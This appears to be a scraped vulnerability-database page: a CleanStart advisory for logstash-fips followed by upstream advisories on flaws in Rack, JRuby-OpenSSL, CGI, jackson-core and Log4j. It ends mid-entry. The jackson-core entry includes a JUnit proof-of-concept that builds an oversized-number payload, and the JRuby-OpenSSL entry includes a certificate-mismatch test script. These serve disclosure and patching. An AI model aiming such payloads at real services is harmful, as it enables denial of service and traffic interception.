Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Published
2026-04-01 10:02
Modified
2026-03-10 06:18
Summary
Security fixes for ghsa-22h5-pq3x-2gf2, ghsa-33mh-2634-fwr2, ghsa-4cx2-fc23-5wg6, ghsa-6xw4-3v39-52mm, ghsa-72hv-8253-57qq, ghsa-72qj-48g4-5xgx, ghsa-c2f4-jgmc-q2r5, ghsa-gh9q-2xrm-x6qv, ghsa-j4pr-3wm6-xx2r, ghsa-mhwm-jh88-3gjf, ghsa-mr3q-g2mv-mr4q, ghsa-p543-xpfm-54cp, ghsa-vc5p-v9hr-52mj, ghsa-vqg5-3255-v292, ghsa-w9pc-fmgc-vxvw, ghsa-wpv5-97wm-hp9c applied in versions: 9.0.8-r2, 9.0.8-r3, 9.0.8-r4, 9.3.0-r1, 9.3.0-r2
Details
Multiple security vulnerabilities affect the logstash-fips package. These issues are resolved in later releases. See references for individual vulnerability details.
References
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "logstash-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.3.0-r2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the logstash-fips package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-JO97977",
"modified": "2026-03-10T06:18:32Z",
"published": "2026-04-01T10:02:43.649563Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-JO97977.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-22h5-pq3x-2gf2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-33mh-2634-fwr2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-4cx2-fc23-5wg6"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-6xw4-3v39-52mm"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-72qj-48g4-5xgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-c2f4-jgmc-q2r5"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-gh9q-2xrm-x6qv"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-j4pr-3wm6-xx2r"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mhwm-jh88-3gjf"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-mr3q-g2mv-mr4q"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-p543-xpfm-54cp"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vc5p-v9hr-52mj"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-vqg5-3255-v292"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-w9pc-fmgc-vxvw"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-wpv5-97wm-hp9c"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for ghsa-22h5-pq3x-2gf2, ghsa-33mh-2634-fwr2, ghsa-4cx2-fc23-5wg6, ghsa-6xw4-3v39-52mm, ghsa-72hv-8253-57qq, ghsa-72qj-48g4-5xgx, ghsa-c2f4-jgmc-q2r5, ghsa-gh9q-2xrm-x6qv, ghsa-j4pr-3wm6-xx2r, ghsa-mhwm-jh88-3gjf, ghsa-mr3q-g2mv-mr4q, ghsa-p543-xpfm-54cp, ghsa-vc5p-v9hr-52mj, ghsa-vqg5-3255-v292, ghsa-w9pc-fmgc-vxvw, ghsa-wpv5-97wm-hp9c applied in versions: 9.0.8-r2, 9.0.8-r3, 9.0.8-r4, 9.3.0-r1, 9.3.0-r2",
"upstream": [
"ghsa-22h5-pq3x-2gf2",
"ghsa-33mh-2634-fwr2",
"ghsa-4cx2-fc23-5wg6",
"ghsa-6xw4-3v39-52mm",
"ghsa-72hv-8253-57qq",
"ghsa-72qj-48g4-5xgx",
"ghsa-c2f4-jgmc-q2r5",
"ghsa-gh9q-2xrm-x6qv",
"ghsa-j4pr-3wm6-xx2r",
"ghsa-mhwm-jh88-3gjf",
"ghsa-mr3q-g2mv-mr4q",
"ghsa-p543-xpfm-54cp",
"ghsa-vc5p-v9hr-52mj",
"ghsa-vqg5-3255-v292",
"ghsa-w9pc-fmgc-vxvw",
"ghsa-wpv5-97wm-hp9c"
]
}
GHSA-6XW4-3V39-52MM
Vulnerability from github – Published: 2025-10-10 17:33 – Updated: 2025-10-13 15:46
VLAI?
Summary
Rack is vulnerable to a memory-exhaustion DoS through unbounded URL-encoded body parsing
Details
Summary
Rack::Request#POST reads the entire request body into memory for Content-Type: application/x-www-form-urlencoded, calling rack.input.read(nil) without enforcing a length or cap. Large request bodies can therefore be buffered completely into process memory before parsing, leading to denial of service (DoS) through memory exhaustion.
Details
When handling non-multipart form submissions, Rack’s request parser performs:
form_vars = get_header(RACK_INPUT).read
Since read is called with no argument, the entire request body is loaded into a Ruby String. This occurs before query parameter parsing or enforcement of any params_limit. As a result, Rack applications without an upstream body-size limit can experience unbounded memory allocation proportional to request size.
Impact
Attackers can send large application/x-www-form-urlencoded bodies to consume process memory, causing slowdowns or termination by the operating system (OOM). The effect scales linearly with request size and concurrency. Even with parsing limits configured, the issue occurs before those limits are enforced.
Mitigation
- Update to a patched version of Rack that enforces form parameter limits using
query_parser.bytesize_limit, preventing unbounded reads ofapplication/x-www-form-urlencodedbodies. - Enforce strict maximum body size at the proxy or web server layer (e.g., Nginx
client_max_body_size, ApacheLimitRequestBody).
Severity ?
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.1.18"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2"
},
{
"fixed": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-61919"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-10T17:33:35Z",
"nvd_published_at": "2025-10-10T20:15:37Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`Rack::Request#POST` reads the entire request body into memory for `Content-Type: application/x-www-form-urlencoded`, calling `rack.input.read(nil)` without enforcing a length or cap. Large request bodies can therefore be buffered completely into process memory before parsing, leading to denial of service (DoS) through memory exhaustion.\n\n## Details\n\nWhen handling non-multipart form submissions, Rack\u2019s request parser performs:\n\n```ruby\nform_vars = get_header(RACK_INPUT).read\n```\n\nSince `read` is called with no argument, the entire request body is loaded into a Ruby `String`. This occurs before query parameter parsing or enforcement of any `params_limit`. As a result, Rack applications without an upstream body-size limit can experience unbounded memory allocation proportional to request size.\n\n## Impact\n\nAttackers can send large `application/x-www-form-urlencoded` bodies to consume process memory, causing slowdowns or termination by the operating system (OOM). The effect scales linearly with request size and concurrency. Even with parsing limits configured, the issue occurs *before* those limits are enforced.\n\n## Mitigation\n\n* Update to a patched version of Rack that enforces form parameter limits using `query_parser.bytesize_limit`, preventing unbounded reads of `application/x-www-form-urlencoded` bodies.\n* Enforce strict maximum body size at the proxy or web server layer (e.g., Nginx `client_max_body_size`, Apache `LimitRequestBody`).",
"id": "GHSA-6xw4-3v39-52mm",
"modified": "2025-10-13T15:46:17Z",
"published": "2025-10-10T17:33:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-6xw4-3v39-52mm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61919"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/4e2c903991a790ee211a3021808ff4fd6fe82881"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/cbd541e8a3d0c5830a3c9a30d3718ce2e124f9db"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/e179614c4a653283286f5f046428cbb85f21146f"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2025-61919.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Rack is vulnerable to a memory-exhaustion DoS through unbounded URL-encoded body parsing"
}
GHSA-72QJ-48G4-5XGX
Vulnerability from github – Published: 2025-05-07 17:32 – Updated: 2026-01-21 16:54
VLAI?
Summary
JRuby-OpenSSL has hostname verification disabled by default
Details
Summary
When verifying SSL certificates, jruby-openssl is not verifying that the hostname presented in the certificate matches the one we are trying to connect to, meaning a MITM could just present any valid cert for a completely different domain they own, and JRuby wouldn't complain.
Details
n/a
PoC
An example domain bad.substitutealert.com was created to present the a certificate for the domain s8a.me. The following script run in IRB in CRuby 3.4.3 will fail with certificate verify failed (hostname mismatch), but will work just fine in JRuby 10.0.0.0 and JRuby 9.4.2.0, both of which use jruby-openssl version 0.15.3
require "net/http"
require "openssl"
uri = URI("https://bad.substitutealert.com/")
https = Net::HTTP.new(uri.host, uri.port)
https.use_ssl = true
https.verify_mode = OpenSSL::SSL::VERIFY_PEER
body = https.start { https.get(uri.request_uri).body }
puts body
Impact
Anybody using JRuby to make requests of external APIs, or scraping the web, that depends on https to connect securely
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "rubygems:jruby-openssl"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.1"
},
{
"fixed": "0.15.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jruby:jruby"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0.0"
},
{
"fixed": "10.0.0.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.jruby:jruby"
},
"ranges": [
{
"events": [
{
"introduced": "9.3.4.0"
},
{
"fixed": "9.4.12.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "jruby-openssl"
},
"ranges": [
{
"events": [
{
"introduced": "0.12.1"
},
{
"fixed": "0.15.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-46551"
],
"database_specific": {
"cwe_ids": [
"CWE-295",
"CWE-297"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-07T17:32:54Z",
"nvd_published_at": "2025-05-07T17:15:58Z",
"severity": "MODERATE"
},
"details": "### Summary\nWhen verifying SSL certificates, jruby-openssl is not verifying that the hostname presented in the certificate matches the one we are trying to connect to, meaning a MITM could just present _any_ valid cert for a completely different domain they own, and JRuby wouldn\u0027t complain. \n\n### Details\nn/a\n\n### PoC\nAn example domain bad.substitutealert.com was created to present the a certificate for the domain s8a.me. The following script run in IRB in CRuby 3.4.3 will fail with `certificate verify failed (hostname mismatch)`, but will work just fine in JRuby 10.0.0.0 and JRuby 9.4.2.0, both of which use jruby-openssl version 0.15.3\n\n```ruby\nrequire \"net/http\"\nrequire \"openssl\"\n\nuri = URI(\"https://bad.substitutealert.com/\")\nhttps = Net::HTTP.new(uri.host, uri.port)\nhttps.use_ssl = true\nhttps.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\nbody = https.start { https.get(uri.request_uri).body }\nputs body\n```\n\n### Impact\nAnybody using JRuby to make requests of external APIs, or scraping the web, that depends on https to connect securely",
"id": "GHSA-72qj-48g4-5xgx",
"modified": "2026-01-21T16:54:31Z",
"published": "2025-05-07T17:32:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jruby/jruby-openssl/security/advisories/GHSA-72qj-48g4-5xgx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46551"
},
{
"type": "WEB",
"url": "https://github.com/jruby/jruby-openssl/commit/31a56d690ce9b8af47af09aaaf809081949ed285"
},
{
"type": "WEB",
"url": "https://github.com/jruby/jruby-openssl/commit/b1fc5d645c0d90891b8865925ac1c15e3f15a055"
},
{
"type": "PACKAGE",
"url": "https://github.com/jruby/jruby-openssl"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jruby-openssl/CVE-2025-46551.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "JRuby-OpenSSL has hostname verification disabled by default"
}
GHSA-MHWM-JH88-3GJF
Vulnerability from github – Published: 2025-03-03 22:05 – Updated: 2025-11-04 00:32
VLAI?
Summary
CGI has Regular Expression Denial of Service (ReDoS) potential in Util#escapeElement
Details
There is a possibility for Regular expression Denial of Service (ReDoS) by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27220. We recommend upgrading the cgi gem.
Details
The regular expression used in CGI::Util#escapeElement is vulnerable to ReDoS. The crafted input could lead to a high CPU consumption.
This vulnerability only affects Ruby 3.1 and 3.2. If you are using these versions, please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.
Affected versions
cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.
Credits
Thanks to svalkanov for discovering this issue. Also thanks to nobu for fixing this vulnerability.
Severity ?
4.0 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.6"
},
{
"fixed": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.3.6"
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27220"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T22:05:08Z",
"nvd_published_at": "2025-03-04T00:15:31Z",
"severity": "MODERATE"
},
"details": "There is a possibility for Regular expression Denial of Service (ReDoS) by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27220. We recommend upgrading the cgi gem.\n\n## Details\n\nThe regular expression used in `CGI::Util#escapeElement` is vulnerable to ReDoS. The crafted input could lead to a high CPU consumption.\n\nThis vulnerability only affects Ruby 3.1 and 3.2. If you are using these versions, please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.\n\n## Affected versions\n\ncgi gem versions \u003c= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.\n\n## Credits\n\nThanks to svalkanov for discovering this issue.\nAlso thanks to nobu for fixing this vulnerability.",
"id": "GHSA-mhwm-jh88-3gjf",
"modified": "2025-11-04T00:32:21Z",
"published": "2025-03-03T22:05:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27220"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/52"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/54"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2890322"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/cgi"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2025-27220.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27220"
},
{
"type": "WEB",
"url": "https://www.ruby-lang.org/en/news/2025/02/26/security-advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CGI has Regular Expression Denial of Service (ReDoS) potential in Util#escapeElement"
}
GHSA-72HV-8253-57QQ
Vulnerability from github – Published: 2026-02-28 02:01 – Updated: 2026-04-07 16:30
VLAI?
Summary
jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
Details
Summary
The non-blocking (async) JSON parser in jackson-core bypasses the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).
The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.
Details
The root cause is that the async parsing path in NonBlockingUtf8JsonParserBase (and related classes) does not call the methods responsible for number length validation.
- The number parsing methods (e.g.,
_finishNumberIntegralPart) accumulate digits into theTextBufferwithout any length checks. - After parsing, they call
_valueComplete(), which finalizes the token but does not callresetInt()orresetFloat(). - The
resetInt()/resetFloat()methods inParserBaseare where thevalidateIntegerLength()andvalidateFPLength()checks are performed. - Because this validation step is skipped, the
maxNumberLengthconstraint is never enforced in the async code path.
PoC
The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.
package tools.jackson.core.unittest.dos;
import java.nio.charset.StandardCharsets;
import org.junit.jupiter.api.Test;
import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;
import static org.junit.jupiter.api.Assertions.*;
/**
* POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
*
* Authors: sprabhav7, rohan-repos
*
* maxNumberLength default = 1000 characters (digits).
* A number with more than 1000 digits should be rejected by any parser.
*
* BUG: The async parser never calls resetInt()/resetFloat() which is where
* validateIntegerLength()/validateFPLength() lives. Instead it calls
* _valueComplete() which skips all number length validation.
*
* CWE-770: Allocation of Resources Without Limits or Throttling
*/
class AsyncParserNumberLengthBypassTest {
private static final int MAX_NUMBER_LENGTH = 1000;
private static final int TEST_NUMBER_LENGTH = 5000;
private final JsonFactory factory = new JsonFactory();
// CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
@Test
void syncParserRejectsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
// Output to console
System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
try {
try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
}
}
}
fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
} catch (StreamConstraintsException e) {
System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
}
}
// VULNERABILITY: Async parser accepts the SAME number that sync rejects
@Test
void asyncParserAcceptsLongNumber() throws Exception {
byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
NonBlockingByteArrayJsonParser p =
(NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
p.feedInput(payload, 0, payload.length);
p.endOfInput();
boolean foundNumber = false;
try {
while (p.nextToken() != null) {
if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
foundNumber = true;
String numberText = p.getText();
assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
"Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
}
}
// Output to console
System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
} catch (StreamConstraintsException e) {
fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
}
p.close();
}
private byte[] buildPayloadWithLongInteger(int numDigits) {
StringBuilder sb = new StringBuilder(numDigits + 10);
sb.append("{\"v\":");
for (int i = 0; i < numDigits; i++) {
sb.append((char) ('1' + (i % 9)));
}
sb.append('}');
return sb.toString().getBytes(StandardCharsets.UTF_8);
}
}
Impact
A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:
1. Memory Exhaustion: Unbounded allocation of memory in the TextBuffer to store the number's digits, leading to an OutOfMemoryError.
2. CPU Exhaustion: If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM can be tied up in O(n^2) BigInteger parsing operations, leading to a CPU-based DoS.
Suggested Remediation
The async parsing path should be updated to respect the maxNumberLength constraint. The simplest fix appears to ensure that _valueComplete() or a similar method in the async path calls the appropriate validation methods (resetInt() or resetFloat()) already present in ParserBase, mirroring the behavior of the synchronous parsers.
NOTE: This research was performed in collaboration with rohan-repos
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.5"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.18.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-28T02:01:05Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n private static final int MAX_NUMBER_LENGTH = 1000;\n private static final int TEST_NUMBER_LENGTH = 5000;\n\n private final JsonFactory factory = new JsonFactory();\n\n // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n @Test\n void syncParserRejectsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n try {\n try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n }\n }\n }\n fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n } catch (StreamConstraintsException e) {\n System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n }\n }\n\n // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n @Test\n void asyncParserAcceptsLongNumber() throws Exception {\n byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n NonBlockingByteArrayJsonParser p =\n (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n p.feedInput(payload, 0, payload.length);\n p.endOfInput();\n\n boolean foundNumber = false;\n try {\n while (p.nextToken() != null) {\n if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n foundNumber = true;\n String numberText = p.getText();\n assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n }\n }\n // Output to console\n System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n } catch (StreamConstraintsException e) {\n fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n }\n p.close();\n }\n\n private byte[] buildPayloadWithLongInteger(int numDigits) {\n StringBuilder sb = new StringBuilder(numDigits + 10);\n sb.append(\"{\\\"v\\\":\");\n for (int i = 0; i \u003c numDigits; i++) {\n sb.append((char) (\u00271\u0027 + (i % 9)));\n }\n sb.append(\u0027}\u0027);\n return sb.toString().getBytes(StandardCharsets.UTF_8);\n }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
"id": "GHSA-72hv-8253-57qq",
"modified": "2026-04-07T16:30:17Z",
"published": "2026-02-28T02:01:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/pull/1555"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-core"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}
GHSA-VC5P-V9HR-52MJ
Vulnerability from github – Published: 2025-12-18 21:31 – Updated: 2025-12-19 22:08
VLAI?
Summary
Apache Log4j does not verify the TLS hostname in its Socket Appender
Details
The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the verifyHostName configuration attribute or the log4j2.sslVerifyHostName system property is set to true.
This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions:
- The attacker is able to intercept or redirect network traffic between the client and the log receiver.
- The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured).
Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue.
As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.
Severity ?
{
"affected": [
{
"package": {
